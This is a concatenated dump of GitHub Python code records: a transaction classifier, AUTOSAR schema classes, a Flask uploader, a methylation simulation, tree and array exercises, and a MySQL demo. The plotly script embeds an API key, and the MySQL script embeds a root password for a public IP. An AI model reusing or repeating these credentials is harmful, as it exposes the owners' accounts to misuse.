\".join(s[1:-4])))\n #\n # ################################### AMEX\n #\n # \n # for line in lines[5:-3]:\n # s = line.replace(' ', '')\n # s = line.split()\n # dates.append(\" \".join(s[0:2]))\n # amounts.append(s[-1].replace(',',''))\n # descs.append(\" \".join(s[2:-1]))\n #\n # ################################## KOTAK\n # \n # for line in lines[4:-2]:\n # s=line.replace(' ','')\n # s=line.split()\n # dates.append(s[0])\n # amounts.append(s[-4].replace(',', ''))\n # descs.append(\" \".join(s[1:-4]))\n #\n #\n # #############################\n # \n # for line in lines[5:-2]:\n # s = line.replace(' ', '')\n # s = line.split()\n # dates.append(s[0])\n # if float(s[-2].replace(',',''))!=0.00:\n # amounts.append(s[-2].replace(',',''))\n # else:\n # amounts.append(s[-3].replace(',', ''))\n # descs.append(\" \".join(s[1:-6]))\n #\n\n\n\n\n\n\n\n df = pd.DataFrame({'date': dates, 'desc': descs, 'amount': amounts})\n\n df['amount'] = df.amount.astype(float)\n df['desc'] = df.desc.astype(str)\n df['date'] = df.date.astype(str)\n\n return df\n\n\n\n\n def _get_training(self, df):\n \"\"\"Get training data for the classifier, consisting of tuples of\n (text, category)\"\"\"\n train = []\n subset = df[df['cat'] != '']\n for i in subset.index:\n row = subset.ix[i]\n new_desc = self._strip_numbers(row['desc'])\n train.append( (new_desc, row['cat']) )\n\n return train\n\n def _extractor(self, doc):\n \"\"\"Extract tokens from a given string\"\"\"\n # TODO: Extend to extract words within words\n # For example, MUSICROOM should give MUSIC and ROOM\n tokens = self._split_by_multiple_delims(doc, [' ', '/'])\n\n features = {}\n\n for token in tokens:\n if token == \"\":\n continue\n features[token] = True\n\n return features\n\n def _strip_numbers(self, s):\n \"\"\"Strip numbers from the given string\"\"\"\n return re.sub(\"[^A-Z ]\", \"\", s)\n\n def _split_by_multiple_delims(self, string, delims):\n \"\"\"Split the given string by the list of delimiters given\"\"\"\n regexp = \"|\".join(delims)\n\n return re.split(regexp, string)\n","repo_name":"urmikakasi/TransactionClassify","sub_path":"TransactionClassify.py","file_name":"TransactionClassify.py","file_ext":"py","file_size_in_byte":10130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43185162262","text":"from dataclasses import dataclass, field\nfrom typing import Optional\nfrom .annotation import VariationPoint\nfrom .api_principle_enum import ApiPrincipleEnum\nfrom .exclusive_area_subtypes_enum import ExclusiveAreaSubtypesEnum\nfrom .ref import Ref\n\n__NAMESPACE__ = \"http://autosar.org/schema/r4.0\"\n\n\n@dataclass\nclass SwcExclusiveAreaPolicy:\n \"\"\"Options how to generate the ExclusiveArea related APIs.\n\n If no SwcExclusiveAreaPolicy is specified for an ExclusiveArea the\n default values apply.\n\n :ivar api_principle: Specifies for this ExclusiveArea if either one\n common set of Enter and Exit APIs for the whole software\n component is requested from the Rte or if the set of Enter and\n Exit APIs is expected per RunnableEntity. The default value is\n \"common\".\n :ivar exclusive_area_ref: This reference represents the\n ExclusiveArea for which the policy applies.\n :ivar variation_point: This element was generated/modified due to an\n atpVariation stereotype.\n :ivar s: Checksum calculated by the user's tool environment for an\n ArObject. May be used in an own tool environment to determine if\n an ArObject has changed. The checksum has no semantic meaning\n for an AUTOSAR model and there is no requirement for AUTOSAR\n tools to manage the checksum.\n :ivar t: Timestamp calculated by the user's tool environment for an\n ArObject. May be used in an own tool environment to determine\n the last change of an ArObject. The timestamp has no semantic\n meaning for an AUTOSAR model and there is no requirement for\n AUTOSAR tools to manage the timestamp.\n \"\"\"\n class Meta:\n name = \"SWC-EXCLUSIVE-AREA-POLICY\"\n\n api_principle: Optional[ApiPrincipleEnum] = field(\n default=None,\n metadata={\n \"name\": \"API-PRINCIPLE\",\n \"type\": \"Element\",\n \"namespace\": \"http://autosar.org/schema/r4.0\",\n }\n )\n exclusive_area_ref: Optional[\"SwcExclusiveAreaPolicy.ExclusiveAreaRef\"] = field(\n default=None,\n metadata={\n \"name\": \"EXCLUSIVE-AREA-REF\",\n \"type\": \"Element\",\n \"namespace\": \"http://autosar.org/schema/r4.0\",\n }\n )\n variation_point: Optional[VariationPoint] = field(\n default=None,\n metadata={\n \"name\": \"VARIATION-POINT\",\n \"type\": \"Element\",\n \"namespace\": \"http://autosar.org/schema/r4.0\",\n }\n )\n s: Optional[str] = field(\n default=None,\n metadata={\n \"name\": \"S\",\n \"type\": \"Attribute\",\n }\n )\n t: Optional[str] = field(\n default=None,\n metadata={\n \"name\": \"T\",\n \"type\": \"Attribute\",\n \"pattern\": r\"([0-9]{4}-[0-9]{2}-[0-9]{2})(T[0-9]{2}:[0-9]{2}:[0-9]{2}(Z|([+\\-][0-9]{2}:[0-9]{2})))?\",\n }\n )\n\n @dataclass\n class ExclusiveAreaRef(Ref):\n dest: Optional[ExclusiveAreaSubtypesEnum] = field(\n default=None,\n metadata={\n \"name\": \"DEST\",\n \"type\": \"Attribute\",\n \"required\": True,\n }\n )\n","repo_name":"tefra/xsdata-samples","sub_path":"autosar/models/swc_exclusive_area_policy.py","file_name":"swc_exclusive_area_policy.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"387735862","text":"from bson import ObjectId\nfrom flask import Flask, request, jsonify,render_template\nfrom utils.xlsxToListData import read_data\nfrom flask_cors import CORS\nfrom utils.connectDb import db, products_collection\nimport json\n\n\napp = Flask(__name__,template_folder='reactui/build',static_folder='reactui/build/static')\nCORS(app)\n\n\nclass JSONEncoder(json.JSONEncoder):\n def default(self, o):\n if isinstance(o, ObjectId):\n return str(o)\n return json.JSONEncoder.default(self, o)\n\n\n@app.route(\"/\")\ndef hello():\n return render_template('index.html')\n\n@app.route(\"/upload\", methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n # print(request.files)\n f = request.files['file']\n data = read_data(f)\n # print(data)\n return jsonify(data)\n\n\n@app.route(\"/save-excel-data\", methods=['POST'])\ndef save_excel_data():\n if request.method == 'POST':\n json_data = request.get_json()\n # print(json_data)\n products_collection.insert_many(json_data)\n saved_data = list(products_collection.find({}))\n if len(saved_data) > 0:\n return JSONEncoder().encode(saved_data)\n return JSONEncoder().encode([])\n\n\n\n@app.route(\"/get-excel-data\", methods=['GET'])\ndef get_excel_data():\n if request.method == 'GET':\n data = list(products_collection.find({}))\n # print(data)\n return JSONEncoder().encode(data)\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=5000)\n","repo_name":"learnwithrafiqul/excel-file-uploader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28877482826","text":"import math\nimport random\nimport csv\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom itertools import product\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom scipy.optimize import minimize, basinhopping\nfrom distribution import createDistri\n\nclass Simulation:\n \"\"\"\n simulates one cell division and methylation of DNMT1 + DNMT3A/B\n \"\"\"\n upperStrand = []\n lowerStrand = []\n # if DNMT true, no knock out\n L = 0 #number of CpGs\n distances = [] #distances between CpGs\n distributionKO = [] #pattern distribution in KO-file\n patternDistriKO = [] # number of occurrences of each pattern in DNMT KO data for comparison with outcome of\n # simulation\n DNMT1KO = False\n DNMT3KO = False\n # rho tau mhy delta\n # (disassociation (association (maintenance (de novo methyl\n # prob) prob) methyl prob) prob)\n probabilities = [[0.1, 0.8, 0.8, 0], #DNMT1\n [0.5, 0.5, 0, 1], #DNMT3d (daughter strand)\n [0.5, 0.5, 0, 1]] #DNMT3p (parent strand)\n\n def __init__(self, WTfile, KOfile, distances, DNMT1KO=False, DNMT3KO=False):\n distributionWT, self.L, numOfPatterns = createDistri(WTfile) # distribution of methylation patterns for wildtype\n self.distributionKO, self.L, numOfPatterns = createDistri(KOfile) # distribution of methylation patterns after DNMT KO\n self.create_initial_distr(distributionWT) # create initial distribution from WT\n # number of occurrences of each pattern in DNMT KO data for comparison with outcome of simulation\n self.patternDistriKO = [i*numOfPatterns for i in self.distributionKO]\n self.distances = distances # distances between CpGs\n self.DNMT1KO = DNMT1KO\n self.DNMT3KO = DNMT3KO\n\n def create_initial_distr(self, distribution):\n \"\"\"\n choose an initial distribution\n :param distribution: methylation pattern distribution\n :return:\n \"\"\"\n upperStrand = []\n lowerStrand = []\n #select pattern randomly\n randomdistribution = random.random()\n #print(randomdistribution)\n #start with last pattern with highest probability\n for index, item in reversed(list(enumerate(distribution))):\n if randomdistribution <= item:\n randomdistribution = index\n break;\n else:\n randomdistribution -= distribution[index]\n for i in range(self.L):\n mod = randomdistribution % 4\n if mod == 0:\n upperStrand.append(0)\n lowerStrand.append(0)\n elif mod == 1:\n upperStrand.append(1)\n lowerStrand.append(0)\n elif mod == 2:\n upperStrand.append(0)\n lowerStrand.append(1)\n elif mod == 3:\n upperStrand.append(1)\n lowerStrand.append(1)\n randomdistribution = (randomdistribution-mod) / 4\n self.upperStrand = upperStrand\n self.lowerStrand = lowerStrand\n\n def simulate(self, allProbs, DNMT1=True, DNMT3=True):\n '''\n simulate celldivision with methylation\n :param allProbs: methylation probabilities\n :param DNMT1: True if no DNMT1KO\n :param DNMT3: True if no DNMT3KO\n :return: strsnds after celldivisions\n '''\n #select random strand\n upperStrand = self.upperStrand if random.random() <= 0.5 else self.lowerStrand\n #decide about number of cell divisions\n celldivisions = 33 if DNMT1 and DNMT3 else 41 if DNMT3 else 26\n\n for c in range(celldivisions):\n lowerStrand = [0]*self.L\n if DNMT1:\n upperStrand, lowerStrand = self.simulateDNMT(allProbs[0], upperStrand, lowerStrand)\n if DNMT3:\n upperStrand, lowerStrand = self.simulateDNMT(allProbs[1], upperStrand, lowerStrand)\n lowerStrand, upperStrand = self.simulateDNMT(allProbs[2], lowerStrand, upperStrand)\n upperStrand = upperStrand if random.random() <= 0.5 else lowerStrand\n #print(upperStrand, lowerStrand)\n return upperStrand, lowerStrand\n\n def simulateDNMT(self, probs, parentS, daughterS):\n '''\n simulate one run of methylation enzyme\n :param probs: probability matrix\n :param parentS: template strand\n :param daughterS: strand to which enzyme is bound\n :return: both strands after methylation\n '''\n rho = probs[0]\n tau = probs[1]\n mhy = probs[2]\n delta = probs[3]\n bound = False\n CpG = True #if current position is a CpG\n length = sum(self.distances) + len(self.distances) + 1 # total number of positions\n cpgPos = 0 #cpg positions\n cpg = -1 #counting current CpG\n for pos in range(length):\n #if current position is a CpG\n if pos == cpgPos:\n cpg += 1\n cpgPos = cpgPos + self.distances[cpg] + 1 if cpg <= self.L-2 else 0 #compute next CpG\n CpG = True\n else:\n CpG = False\n #if enzyme stays associated\n if (not bound and random.random() <= tau) or bound:\n #probabilty for de novo or maintenance methylation\n if CpG and ((parentS[cpg] and random.random() <= mhy) or (not parentS[cpg] and random.random() <= delta)):\n daughterS[cpg] = 1\n bound = True if random.random() <= 1-rho else False\n return parentS, daughterS\n\n def computePatternDistribution(self, probabilities):\n '''\n perform multiple iterations of simulation and compute pattern distribution of simulation\n :param probabilities: parameters for simulation\n :return: pattern distribution of simulation\n '''\n allProbs = [] * 3\n if self.DNMT1KO:\n #prob DNMT3p = DNMT3d???\n allProbs.append([])\n allProbs.append(probabilities)\n allProbs.append(probabilities)\n elif self.DNMT3KO:\n allProbs.append(probabilities)\n else:\n allProbs.append(probabilities[:4].tolist())\n allProbs.append(probabilities[4:].tolist())\n allProbs.append(probabilities[4:].tolist())\n patterns = dict()\n #perform multiple iterations and store resulting patterns\n iterations = 1000 #number of simulation runs\n for i in range(iterations):\n upperStrand, lowerStrand = self.simulate(allProbs, DNMT1=not self.DNMT1KO, DNMT3=not self.DNMT3KO)\n pattern = 0\n for l in range(self.L):\n pattern += 4 ** (self.L - l - 1) * (upperStrand[l] + lowerStrand[l]*2)\n patterns[pattern] = patterns.get(pattern, 0) + 1\n patterns = {k: float(v/iterations) for k, v in patterns.items()}\n return patterns\n\n def computeLH(self, probabilities):\n '''\n compute likelihood\n :param probabilities: parameters for simulation\n :return: negative likelihood\n '''\n #compute likelihood\n #likelihood = 1.0\n likelihood = 0.0 #for log-likelihood\n epsilon = 0.0000001 # add epsilon to all distribution values which are 0\n patterns = self.computePatternDistribution(probabilities)\n for k, v in enumerate(self.patternDistriKO):\n #if v != 0:\n simDistri = patterns[k] if k in patterns else epsilon\n likelihood += v * math.log(simDistri) #for log-likelihood\n #likelihood *= simDisrtri ** v\n print(likelihood, probabilities)\n return -likelihood\n\n def minimizeLH(self, probabilities):\n '''\n use parameter optimization to minimize likelihood\n :param probabilities: initial parameters\n '''\n # extra arguments passed to the objective function and its derivatives\n # bounds for parameter space\n bnds = ((0, 1), (0, 1), (0, 1), (0, 1))#, (0, 1), (0, 1), (0, 1), (0, 1)) # here 4 parameters bound between 0 and 1\n # use method L-BFGS-B because the problem is smooth and bounded\n #sol = minimize(self.computeLH, probabilities, method='L-BFGS-B', bounds=bnds, options={'disp': True})\n minimizer_kwargs = dict(method=\"L-BFGS-B\", bounds=bnds, options={'disp': True})\n sol = basinhopping(self.computeLH, probabilities, minimizer_kwargs=minimizer_kwargs)\n print(sol)\n\n def plotLH(self, probabilities):\n \"\"\"\n plot a three dimensional plot of likelihood depending on two variables of simulation; for each plot two\n variables are at or supposed maximum, two are between 0 and 1\n :param probabilities: variables of simulation at our supposed global maximum\n \"\"\"\n #create plots for each combination of two variables fixed, two variable\n for paramN1 in range(0, 3):\n for paramN2 in range(paramN1+1, 4):\n X = [] #x-axis values = y-axis values\n Z = np.zeros((10,10)) #create matrix for z values\n probs = probabilities[:]\n #let the two variable variables range from 0.0 to 1.0\n for i in range(0, 10):\n X.append(i/10)\n for j in range(0, 10):\n probs[paramN1] = i/10\n probs[paramN2] = j/10\n likelihood = self.computeLH(probs)\n Z[i][j] = likelihood\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n # Plot a basic wireframe.\n ax.plot_wireframe(X, X, Z)\n ax.set_xlabel('param1')\n ax.set_ylabel('param2')\n ax.set_zlabel('likelihood')\n plt.title('likelihood depending on 2 param')\n plt.show()\n\n def plotParam(self, param, probabilities):\n \"\"\"\n plots a two-dimensional plot of likelihood depending on parameter param\n :param param: enumeration of alterating param starting with 0\n :param probabilities: array of parameters for simulation\n \"\"\"\n X = [] #param x\n Y = [] #likelihood\n for i in range(0, 10):\n X.append(i/10)\n probabilities[param] = i/10\n likelihood = self.computeLH(probabilities)\n Y.append(likelihood)\n plt.plot(X, Y)\n plt.xlabel('param value')\n plt.ylabel('likelihood')\n plt.title('likelihood depending on param ' + str(param))\n plt.show()\n\n\n#DNMT1KO:\n#sim = Simulation(\"Daten/ySatWTJ1C.txt\", \"Daten/ySatDNMT1KO.txt\", [13, 14], True)\n#DNMT3KO:\n#sim = Simulation(\"Daten/ySatWTJ1C.txt\", \"Daten/ySatDNMT3abKO.txt\", [13, 14], False, True)\n#WT:\n#sim = Simulation(\"Daten/ySatWTJ1C.txt\", \"Daten/ySatWTJ1C.txt\", [13, 14])\n\n#likelihood computation\n#sim.minimizeLH(sim.probabilities[0])\n#sim.minimizeLH(sim.probabilities[1])\n#sim.minimizeLH(sim.probabilities[0:2])\n#sim.minimizeLH([0.89366031, 0.27623855, 0.78160997, 0.99999686])\n\n#plot likelihood\n#sim.plotLH([0.89366031, 0.27623855, 0.78160997, 0.99999686])\n#sim.plotParam(3, [0.23422344, 0.99999997, 0.73645811, 0.42643627])\n","repo_name":"KupitzA/MA","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":11413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16066045707","text":"# Check b is subset of a\nfrom collections import Counter\n\ndef checkifSubset(a, b):\n d1 = Counter(a)\n d2 = Counter(b)\n for key in d2.keys():\n if key not in d1 or d1[key] < d2[key]:\n return False\n return True\n\narr1 = [ 2, 1, 3, 2, 4, 5, 3, 2]\narr2 = [ 1, 2, 2, 2, 3 ]\nprint(checkifSubset(arr1, arr2))","repo_name":"embydextrous/Interview","sub_path":"arrays/miscellaneous/3-arraySubsetOfAnotherArray.py","file_name":"3-arraySubsetOfAnotherArray.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"16066363127","text":"from tree import Node\nfrom collections import deque\n\ndef areSiblings(root, a, b):\n if root is None:\n return False\n return (root.left == a and root.right == b) or (root.left == b and root.right == a) or areSiblings(root.left, a, b) or areSiblings(root.right, a, b)\n\n\ndef level(root, a, lvl):\n if root is None:\n return -1\n if root == a:\n return lvl\n l = level(root.left, a, lvl + 1)\n if l != -1:\n return l\n return level(root.right, a, lvl + 1)\n\ndef areCousins(root, a, b):\n levelA = level(root, a, 0)\n levelB = level(root, b, 0)\n if levelA == -1 or levelB == -1:\n return False\n return levelA == levelB and not areSiblings(root, a, b)\n\ndef checkIfCousins(root, a, b):\n if root is None:\n return False\n q1, q2 = deque([root]), deque()\n while len(q1) > 0:\n foundA, foundB = False, False\n while len(q1) > 0:\n node = q1.popleft()\n # are siblings\n if node.left == a and node.right == b:\n return False\n if node.right == a and node.left == b:\n return False\n if node.left:\n if node.left == a:\n foundA = True\n elif node.left == b:\n foundB = True\n q2.append(node.left)\n if node.right:\n if node.right == a:\n foundA = True\n elif node.right == b:\n foundB = True\n if foundB and foundA:\n return True\n if foundA or foundB:\n return False\n q1, q2 = q2, q1\n\nroot = Node(8)\nroot.left = Node(3)\nroot.left.left = Node(1)\nroot.left.right = Node(16)\nroot.left.right.left = Node(4)\nroot.left.right.right = Node(7)\nroot.right = Node(10)\nroot.right.right = Node(14)\nroot.right.right.left = Node(19)\nroot.right.right.right = Node(2)\n\nprint(areCousins(root, root.left.left, root.right.right))","repo_name":"embydextrous/Interview","sub_path":"binarytree/checkingPrinting/3-checkIfCousins.py","file_name":"3-checkIfCousins.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"1875722656","text":"import csv\n\ndata = []\nheaders = []\n\nwith open(\"final2.csv\", \"r\") as f:\n csvReader = csv.reader(f)\n for i in csvReader:\n data.append(i)\nheaders = data[0]\nplanetData = data[1:]\n\nnewData = []\n\nfor index, item in enumerate(planetData):\n try:\n if int(item[2]) <= 100 and int(item[9]) > 150 and int(item[9]) < 350:\n newData.append(item)\n except:\n pass\n\nprint(len(newData))\n\nwith open(\"filteredData.csv\", \"a+\") as f:\n csvWriter = csv.writer(f)\n csvWriter.writerow(headers)\n csvWriter.writerows(newData)","repo_name":"The99thTroll/DataFilter","sub_path":"filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"65524972","text":"#%%\nimport plotly \nplotly.tools.set_credentials_file(username='jclynn', api_key='1VxgnpuwvLpOJSHmtkaa')\n\n#%%\n# Standard plotly imports\nimport plotly.plotly as py\nimport plotly.graph_objs as go\nfrom plotly.offline import iplot, init_notebook_mode\n\n# Using plotly + cufflinks in offline mode\nimport cufflinks\ncufflinks.go_offline(connected=True)\ninit_notebook_mode(connected=True)\n\n#%%\ntrace0 = go.Scatter(\n x=[1, 2, 3, 4],\n y=[10, 15, 13, 17]\n)\ntrace1 = go.Scatter(\n x=[1, 2, 3, 4],\n y=[16, 5, 11, 9]\n)\ndata = [trace0, trace1]\n\npy.plot(data, filename = 'basic-line', auto_open=True)\n\n#%%\nimport numpy as np\nimport pandas as pd\n\nx = np.linspace(0, 20, 100) # Create a list of evenly-spaced numbers over the range\ndf = pd.DataFrame(np.sin(x))\nprint(df)\ndf.iplot()\n\n#%%\nfrom scipy.stats import norm\n\n\ngaus = norm.pdf(x, np.mean(x), np.std(x)) \ndf = pd.DataFrame(gaus)\ndf.iplot()","repo_name":"juliolynn/ColumbiaX-Machine-Learning","sub_path":"lib_examples/plotly_test.py","file_name":"plotly_test.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22909037183","text":"from collections import Counter\n\ntwos = 0\nthrees = 0\nwith open(\"3.txt\", \"r\") as infile:\n\tfor scan in infile:\n\t\tcounts = Counter(scan.strip())\n\t\thas_two = False\n\t\thas_three = False\n\t\t#print(scan.strip())\n\t\tfor count in counts.values():\n\t\t\tif count == 2:\n\t\t\t\thas_two = True\n\t\t\tif count == 3:\n\t\t\t\thas_three = True\n\t\tif has_two:\n\t\t\ttwos += 1\n\t\tif has_three:\n\t\t\tthrees += 1\n\t\t#print(twos, threes)\n\tprint(twos * threes)\n","repo_name":"SSteve/AdventOfCode","sub_path":"Advent2018/2a.py","file_name":"2a.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"11179563791","text":"from __future__ import print_function\n__author__ = 'Tony Beltramelli - www.tonybeltramelli.com'\n\nimport time\nimport numpy as np\nimport sys\nsys.path.append(\"../..\")\nfrom classes.dataset.Dataset import *\nfrom classes.Vocabulary import *\nfrom classes.model.Config import *\n\n\nclass Generator:\n @staticmethod\n def data_generator(voc, gui_paths, img_paths, batch_size, generate_binary_sequences=False,\n verbose=False, loop_only_one=False, mode=\"train\"):\n assert len(gui_paths) == len(img_paths)\n\n # 生成onr-hot编码后的列表:self.binary_vocabulary\n voc.create_binary_representation()\n\n while 1:\n batch_input_images = []\n batch_partial_sequences = []\n batch_next_words = []\n sample_in_batch_counter = 0\n\n for i in range(0, len(gui_paths)):\n if img_paths[i].find(\".png\") != -1:\n img = Utils.get_preprocessed_img(img_paths[i], IMAGE_SIZE)\n else:\n img = np.load(img_paths[i])[\"features\"]\n gui = open(gui_paths[i], 'r')\n\n token_sequence = [START_TOKEN]\n for line in gui:\n line = \" \".join(line.split()) # remove \\n\n line = line.replace(\",\", \" , \").replace(\"}\", \" } \").replace(\"{\", \" { \")\n line = line.replace(\" \", \" \").replace(\" \", \" \")\n tokens = line.split()\n for token in tokens:\n voc.append(token)\n token_sequence.append(token)\n token_sequence.append(END_TOKEN)\n\n suffix = [PLACEHOLDER] * CONTEXT_LENGTH\n\n a = np.concatenate([suffix, token_sequence])\n for j in range(0, len(a) - CONTEXT_LENGTH):\n context = a[j:j + CONTEXT_LENGTH]\n label = a[j + CONTEXT_LENGTH]\n\n # update our corresponding batches lists\n batch_input_images.append(img)\n batch_partial_sequences.append(context)\n batch_next_words.append(label)\n sample_in_batch_counter += 1\n\n # keep looping until we reach our batch size\n if sample_in_batch_counter == batch_size or (loop_only_one and i == len(gui_paths) - 1) or (mode == \"eval\" and i == len(gui_paths) - 1 and j == len(a)-CONTEXT_LENGTH-1):\n if verbose:\n print(\"Generating sparse vectors...\")\n batch_next_words = Dataset.sparsify_labels(batch_next_words, voc)\n if generate_binary_sequences:\n batch_partial_sequences = Dataset.binarize(batch_partial_sequences, voc)\n else:\n batch_partial_sequences = Dataset.indexify(batch_partial_sequences, voc)\n\n if verbose:\n print(\"Convert arrays...\")\n batch_input_images = np.array(batch_input_images)\n batch_partial_sequences = np.array(batch_partial_sequences)\n batch_next_words = np.array(batch_next_words)\n\n if verbose:\n print(\"Yield batch\")\n # print(\"sample_in_batch_counter\", sample_in_batch_counter)\n # print(\"batch_partial_sequences\", batch_partial_sequences)\n # print(\"batch_next_words\", batch_next_words)\n yield ([batch_input_images, batch_partial_sequences], batch_next_words)\n\n batch_input_images = []\n batch_partial_sequences = []\n batch_next_words = []\n sample_in_batch_counter = 0\n\n\nif(__name__==\"__main__\"):\n input_path = \"../../../datasets/navbar-dataset/\"\n output_path = \"../../../datasets/test_gen/\"\n dataset = Dataset()\n # generate_binary_sequences=False 意味着不对partial_sequences进行one-hot编码\n dataset.load(input_path, generate_binary_sequences=False)\n # 生成meta_dataset.npy文件\n dataset.save_metadata(output_path)\n # 生成words.vocab文件\n dataset.voc.save(output_path)\n\n gui_paths, img_paths = Dataset.load_paths_only(input_path)\n\n time_start = time.time()\n test_gen = Generator()\n gen = test_gen.data_generator(dataset.voc, gui_paths, img_paths,32)\n next(gen)\n time_end = time.time()\n print('time cost', (time_end - time_start), 's')\n","repo_name":"LeiHuiHui/UIToPage","sub_path":"flask_server/recongnizeBootstrap/model/classes/dataset/Generator.py","file_name":"Generator.py","file_ext":"py","file_size_in_byte":4604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72025293666","text":"\r\nimport os, helper\r\nfrom collections import Counter\r\n\r\n\r\nclass Dictionary(object):\r\n def __init__(self):\r\n self.word2idx = {}\r\n self.idx2word = []\r\n self.pad_token = ''\r\n self.idx2word.append(self.pad_token)\r\n self.word2idx[self.pad_token] = len(self.idx2word) - 1\r\n\r\n def build_dict(self, videos, max_words=50000):\r\n word_count = Counter()\r\n for video in videos.data:\r\n word_count.update(video.description)\r\n\r\n most_common = word_count.most_common(max_words)\r\n for (index, w) in enumerate(most_common):\r\n self.idx2word.append(w[0])\r\n self.word2idx[w[0]] = len(self.idx2word) - 1\r\n\r\n def contains(self, word):\r\n return True if word in self.word2idx else False\r\n\r\n def __len__(self):\r\n return len(self.idx2word)\r\n\r\n\r\nclass Video(object):\r\n def __init__(self):\r\n self.img_features = []\r\n self.description = []\r\n\r\n def add_image_features(self, feats):\r\n self.img_features.append(list(map(float, feats.split())))\r\n\r\n def add_description(self, text, tokenize):\r\n if self.description:\r\n print('already description is assigned!')\r\n else:\r\n self.description = [''] + helper.tokenize(text, tokenize) + ['']\r\n\r\n\r\nclass Corpus(object):\r\n def __init__(self, _tokenize):\r\n self.tokenize = _tokenize\r\n self.data = []\r\n\r\n def parse(self, in_file, max_example=None):\r\n \"\"\"Parses the content of a file.\"\"\"\r\n assert os.path.exists(in_file)\r\n\r\n with open(in_file, 'r') as f:\r\n video = Video()\r\n lastline = None\r\n for line in f:\r\n line = line.strip()\r\n if line:\r\n if lastline:\r\n video.add_image_features(lastline)\r\n lastline = line\r\n else:\r\n video.add_description(lastline, self.tokenize)\r\n self.data.append(video)\r\n video = Video()\r\n lastline = None\r\n if len(self.data) == max_example:\r\n break\r\n","repo_name":"arjunakula/Visual-Discourse-Parsing","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"7938482403","text":"from django.core.management.base import BaseCommand\nfrom meeting.models import Reservation, Meeting\nfrom datetime import timedelta, date\nimport logging\n\nlogger = logging.getLogger('command')\n\n\nclass Command(BaseCommand):\n\n def add_arguments(self, parser):\n # Named (optional) arguments\n parser.add_argument(\n '-n',\n '--now',\n action='store_true',\n help='Cancel unconfirmed reservation imediatly, '\n 'without regard of the timeline.'\n 'Default is meeting.automatic_cancelation_date',\n )\n\n def handle(self, *args, **options):\n logger.debug(\"Start Cancel_unconfirmed_reservation command.\")\n meeting = Meeting.objects.active()\n cancel_date = meeting.start_date - timedelta(days=3)\n if options['now'] or cancel_date == date.today():\n unconfirmed_res = Reservation.objects.unconfirmed_actives()\n nb_unconfirmed = len(unconfirmed_res)\n unconfirmed_res.update(canceled=True,\n confirmed=False,\n time_slot=None,\n depart_time_slot=None)\n logger.debug('%s unconfirmed reservation have been canceled',\n nb_unconfirmed)\n else:\n logger.debug('Cancelation planified on %s', str(cancel_date))\n logger.debug(\"End Cancel_unconfirmed_reservation command.\")\n","repo_name":"UlmBlois/website","sub_path":"core/management/commands/cancel_unconfirmed_reservation.py","file_name":"cancel_unconfirmed_reservation.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38967758899","text":"import mysql.connector\r\ncon = mysql.connector.connect(host = '18.219.99.141', database = 'db1', user = 'root', password = 'India12345')\r\nc = con.cursor()\r\ndef create_table():\r\n c.execute(\"create table emp_soujanya(emp_id varchar(10), emp_name varchar(20), salary int)\")\r\n\r\ndef insert_table():\r\n c.execute(\"insert into emp_soujanya values('AITPL1','soujanya',25000)\")\r\n c.execute(\"insert into emp_soujanya values('AITPL2','sanjana',45000)\")\r\n c.execute(\"insert into emp_soujanya values('AITPL3','soumya',55000)\")\r\n c.execute(\"insert into emp_soujanya values('AITPL4','sonu',85000)\")\r\n c.execute(\"insert into emp_soujanya values('AITPL5','souju',95000)\")\r\n\r\n con.commit()\r\n\r\ndef delete_table():\r\n c.execute(\"delete from emp_soujanya where emp_name='souju'\")\r\n con.commit()\r\n\r\ndef update_table():\r\n c.execute(\"update emp_soujanya set salary=100000 where emp_name='sonu'\")\r\ndef select_table():\r\n c.execute(\"select * from emp_soujanya\")\r\n data = c.fetchall()\r\n for row in data:\r\n print(row)\r\n\r\n#create_table()\r\n#insert_table()\r\ndelete_table()\r\nupdate_table()\r\nselect_table()\r\nc.close()\r\ncon.close()","repo_name":"soujanya1129/AITPL2125","sub_path":"emp_soujanya.py","file_name":"emp_soujanya.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9284197854","text":"from bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport requests\nimport pandas as pd\nimport csv\n\ndata=pd.read_csv('./Singer/Singer.csv')\n\ninformation=pd.DataFrame(columns=[\"姓名\",\"生日\",\"aka\",\"性別\",\"職業\",\"婚姻狀態\"])\nfor i in range(len(data['href'])):\n try:\n response=requests.get(data['href'][i])\n html=BeautifulSoup(response.text,'html.parser')\n 